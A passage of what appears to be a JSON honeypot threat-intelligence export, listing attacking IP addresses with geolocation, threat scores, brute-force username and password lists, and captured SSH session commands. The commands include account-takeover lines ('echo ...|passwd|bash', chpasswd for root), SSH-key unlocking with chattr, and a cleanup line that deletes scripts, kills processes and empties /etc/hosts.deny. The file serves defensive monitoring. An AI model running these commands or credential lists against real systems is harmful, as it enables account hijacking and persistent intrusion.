        "admin20"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Pa$$word\\nH1l24sJhZiMu\\nH1l24sJhZiMu\\n\"|passwd",
        "echo \"a\\nSSDsMXmMF7jJ\\nSSDsMXmMF7jJ\\n\"|passwd",
        "echo -e \"Pa$$word\\nH1l24sJhZiMu\\nH1l24sJhZiMu\"|passwd|bash",
        "echo -e \"a\\nSSDsMXmMF7jJ\\nSSDsMXmMF7jJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T12:17:10.979000+00:00",
        "last_seen_30d": "2026-04-12T13:00:11.659000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "179.32.198.105": {
      "attack_count": 263,
      "first_seen": "2026-04-19T10:52:42.181Z",
      "last_seen": "2026-04-19T11:34:04.543Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "cyber",
        "deploy",
        "ftpuser",
        "app",
        "john",
        "oracle",
        "postgres",
        "proxyuser",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00local22",
        "1qaz#EDC",
        "Admin@2025",
        "Frappe14!",
        "Huawei@12#$",
        "Oracle4",
        "QWERTYUI12345678",
        "Qazwsx2024@#",
        "Qwer1234",
        "Redhat@123",
        "Xz123456",
        "app@123",
        "changeme",
        "cyber",
        "frappe06!",
        "ftpuser25!",
        "matrimonio",
        "pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1qaz#EDC\\nWlUzNVOwbf2Z\\nWlUzNVOwbf2Z\\n\"|passwd",
        "echo \"cyber\\n9EgcdMgWMZiy\\n9EgcdMgWMZiy\\n\"|passwd",
        "echo -e \"1qaz#EDC\\nWlUzNVOwbf2Z\\nWlUzNVOwbf2Z\"|passwd|bash",
        "echo -e \"cyber\\n9EgcdMgWMZiy\\n9EgcdMgWMZiy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:52:42.181000+00:00",
        "last_seen_30d": "2026-04-19T11:35:10.408000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "103.20.223.56": {
      "attack_count": 262,
      "first_seen": "2026-04-18T21:28:39.927Z",
      "last_seen": "2026-04-18T22:10:23.742Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "ftpuser",
        "test",
        "ubuntu",
        "app",
        "cyber",
        "john",
        "oracle",
        "postgres",
        "proxyuser",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00local22",
        "1qaz#EDC",
        "Admin@2025",
        "Frappe14!",
        "Huawei@12#$",
        "Oracle4",
        "QWERTYUI12345678",
        "Qazwsx2024@#",
        "Qwer1234",
        "Redhat@123",
        "Xz123456",
        "app@123",
        "changeme",
        "cyber",
        "frappe06!",
        "ftpuser25!",
        "matrimonio",
        "pass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:eLq8lEXF5gJk\"|chpasswd|bash",
        "echo \"test27\\nbxilPtbAUr1f\\nbxilPtbAUr1f\\n\"|passwd",
        "echo -e \"test27\\nbxilPtbAUr1f\\nbxilPtbAUr1f\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T21:28:39.927000+00:00",
        "last_seen_30d": "2026-04-21T20:35:44.254000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "20.173.116.24": {
      "attack_count": 262,
      "first_seen": "2026-04-18T11:09:07.737Z",
      "last_seen": "2026-04-18T11:50:24.237Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "frappe",
        "345gs5662d34",
        "ubuntu",
        "dc",
        "deploy",
        "distro",
        "postgres",
        "sammy",
        "shiva",
        "test",
        "xyh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "Admin123@#",
        "CCqq111",
        "Frappe04!",
        "Huawei@123",
        "P@ssw0rd123",
        "Qazwsx000!@#",
        "Qazwsx2018#$",
        "Qwert11111",
        "Ubuntu29!",
        "Zf123456",
        "a123456*",
        "a123456A",
        "aaaa123456",
        "aq12wsde34rf",
        "distro",
        "frappe1234",
        "postgrespassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Frappe04!\\nci0CCf7bGT21\\nci0CCf7bGT21\\n\"|passwd",
        "echo \"root:pl3uTsieF00e\"|chpasswd|bash",
        "echo -e \"Frappe04!\\nci0CCf7bGT21\\nci0CCf7bGT21\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T11:09:07.737000+00:00",
        "last_seen_30d": "2026-04-18T11:51:33.962000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "129.226.157.18": {
      "attack_count": 250,
      "first_seen": "2026-04-08T05:41:41.841Z",
      "last_seen": "2026-04-08T06:39:23.701Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "test",
        "345gs5662d34",
        "user",
        "bruce",
        "comp",
        "dev",
        "sasha",
        "serv",
        "sftptest1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1122334455",
        "Default2025!",
        "Dev27",
        "Qazwsx2026@#",
        "Steam23!",
        "Test1234@",
        "Test26",
        "User@2025",
        "asdf123",
        "bruce",
        "comp",
        "q1w2e3r4A",
        "qazwsx2026#",
        "qwe123",
        "qwert2024",
        "root12345@123",
        "sasha123",
        "serv"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Steam23!\\nQzmTL7ZqBT0u\\nQzmTL7ZqBT0u\\n\"|passwd",
        "echo \"User@2025\\nTXs2sEMKsYkb\\nTXs2sEMKsYkb\\n\"|passwd",
        "echo -e \"Steam23!\\nQzmTL7ZqBT0u\\nQzmTL7ZqBT0u\"|passwd|bash",
        "echo -e \"User@2025\\nTXs2sEMKsYkb\\nTXs2sEMKsYkb\"|passwd|bash",
        "lscpu | grep Model"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 318,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:41:41.841000+00:00",
        "last_seen_30d": "2026-04-08T06:41:15.621000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 250,
        "Suricata": 68
      }
    },
    "43.255.118.11": {
      "attack_count": 236,
      "first_seen": "2026-04-27T02:08:41.984Z",
      "last_seen": "2026-04-27T02:37:51.872Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz2wsx",
        "0m0n0b0v0c0x0z",
        "12345qwert",
        "123qweASD456",
        "68vVBBw@d83O#n@QsRSkFVWZ6malzd!9YEIR8rQ&7KV*Oht^2&FN",
        "7uj8ik9ol",
        "Hetzner2025#",
        "Hosting123",
        "Huawei222222",
        "Kuaituoarpa@123",
        "NicS16$$",
        "Rangwojinqu2026",
        "St@mpede2025",
        "Zxc123!!",
        "adminmak",
        "cloudroot2024",
        "debian.sifinfo.local",
        "dev123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:9s0lc7Z0lxOU\"|chpasswd|bash",
        "echo \"root:qC6KvuGtJzrL\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 38136,
      "as_org": "Akari Networks",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T02:08:41.984000+00:00",
        "last_seen_30d": "2026-04-27T02:38:54.691000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "46.101.74.113": {
      "attack_count": 203,
      "first_seen": "2026-04-10T17:47:28.243Z",
      "last_seen": "2026-04-10T18:22:08.302Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "root/1234567",
        "steam",
        "ali",
        "bot",
        "ftpuser",
        "git",
        "james",
        "mc",
        "postgres",
        "roger",
        "sushi",
        "wpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123456Qwer",
        "1234Qwer",
        "1q2w3e4r",
        "A12345649",
        "A1234567090",
        "Abcde12345",
        "Bot29!",
        "Ftpuser10",
        "P@ssw0rd1",
        "QWERTY12345678",
        "Qwerty123!",
        "Steam1",
        "a123456l",
        "ali21",
        "asdf",
        "james",
        "mc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:6am0b4g5ouRz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:47:28.243000+00:00",
        "last_seen_30d": "2026-04-10T18:23:10.228000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 65
      }
    },
    "45.118.106.54": {
      "attack_count": 194,
      "first_seen": "2026-04-11T06:07:31.544Z",
      "last_seen": "2026-04-11T06:52:29.772Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "345gs5662d34",
        "alex",
        "ali",
        "bot",
        "deploy",
        "oracle",
        "sabina",
        "testbox",
        "testi",
        "ubuntu",
        "uno85c",
        "user1"
      ],
      "passwords_attempted": [
        "123qweasd",
        "1qaZXsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd",
        "Root2024..",
        "ZAQ!2wsx2021..",
        "admin0@123",
        "ali23",
        "azerty123@",
        "bot07!",
        "developer",
        "download",
        "k",
        "oracle26!",
        "qazwsx654321@#",
        "qwerty2025",
        "qwerty2026",
        "root2024",
        "sabina123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test1234\\nDI7CHXYzbsM2\\nDI7CHXYzbsM2\\n\"|passwd",
        "echo -e \"test1234\\nDI7CHXYzbsM2\\nDI7CHXYzbsM2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 17665,
      "as_org": "ONEOTT INTERTAINMENT LIMITED",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T06:07:31.544000+00:00",
        "last_seen_30d": "2026-04-11T06:53:35.524000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "45.158.59.14": {
      "attack_count": 194,
      "first_seen": "2026-04-04T13:59:43.055Z",
      "last_seen": "2026-04-04T14:56:07.151Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "server",
        "345gs5662d34",
        "admin",
        "bbb",
        "ctf",
        "deploy",
        "git",
        "gmodserver",
        "jack",
        "magento",
        "monitor",
        "nuser",
        "pay",
        "postgres",
        "sammy",
        "steam",
        "teamspeak",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "test",
        "!@#$qwerASDF",
        "123",
        "1234",
        "123456-QWER",
        "123qwe123",
        "1qazXSW@3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "ABCABC",
        "Admin@123",
        "Password01",
        "Qwertyuiop2024",
        "abcd",
        "admin12345@123",
        "bbb",
        "ctf",
        "jackjack",
        "master",
        "nuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"server21\\naykf548W4ZDn\\naykf548W4ZDn\\n\"|passwd",
        "echo -e \"server21\\naykf548W4ZDn\\naykf548W4ZDn\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 215672,
      "as_org": "MoeChuang Network Limited",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T13:59:43.055000+00:00",
        "last_seen_30d": "2026-04-04T14:57:07.530000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 64
      }
    },
    "103.30.40.198": {
      "attack_count": 193,
      "first_seen": "2026-04-16T11:58:02.544Z",
      "last_seen": "2026-04-16T12:38:55.355Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "arthur",
        "demo1",
        "deploy",
        "deployer",
        "drivetest",
        "frappe",
        "git",
        "hsh",
        "odoo",
        "pjsuser",
        "server",
        "steam",
        "test",
        "test05",
        "user2",
        "vpn",
        "webserver"
      ],
      "passwords_attempted": [
        "123456",
        "123.zxcv",
        "123654789",
        "123_QWER",
        "15",
        "159951",
        "321",
        "3245gs5662d34",
        "345gs5662d34",
        "Passw0rd",
        "Rdf@2026",
        "Root2025#$",
        "changeme",
        "ddXX000",
        "demo1",
        "deployer1",
        "drivetest",
        "frappe14!",
        "letmein",
        "odoo!@#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:a9YxigD4FZrw\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T11:58:02.544000+00:00",
        "last_seen_30d": "2026-04-16T12:39:58.582000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 61
      }
    },
    "82.22.21.41": {
      "attack_count": 193,
      "first_seen": "2026-04-08T20:23:56.296Z",
      "last_seen": "2026-04-08T21:00:46.006Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "steam",
        "ubuntu",
        "345gs5662d34",
        "debianuser",
        "ftpuser",
        "noc",
        "steam1",
        "sysadmin",
        "teamspeak",
        "testuser",
        "toto",
        "user",
        "yann"
      ],
      "passwords_attempted": [
        "123123123",
        "123456",
        "123456zZ",
        "123459",
        "1234rewq",
        "1q2w!Q@W",
        "1qaz..",
        "1qazXSW@",
        "2026!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "@WSX1qaz",
        "Abc123@",
        "Aswdaswd456",
        "Letmein@123",
        "Password1",
        "Qazwsx000..",
        "Qazwsx888@@",
        "Teamspeak2026!",
        "User23!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Q2frelTpyMox\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 63023,
      "as_org": "GTHost",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T20:23:56.296000+00:00",
